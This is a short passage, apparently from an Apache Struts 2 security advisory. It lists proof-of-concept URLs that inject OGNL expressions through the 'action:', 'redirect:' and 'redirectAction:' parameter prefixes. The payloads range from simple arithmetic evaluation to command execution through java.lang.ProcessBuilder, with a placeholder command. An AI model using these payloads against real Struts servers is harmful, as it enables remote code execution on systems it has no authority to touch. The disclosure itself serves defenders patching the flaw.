...
- Simple Expression - the parameter names are evaluated as OGNL.
Code Block http://host/struts2-blank/example/X.action?action:%25{3*4}
Code Block http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
- Command Execution - the example method index 6 may vary on different JVMs
Code Block http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
Code Block http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
Code Block http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
...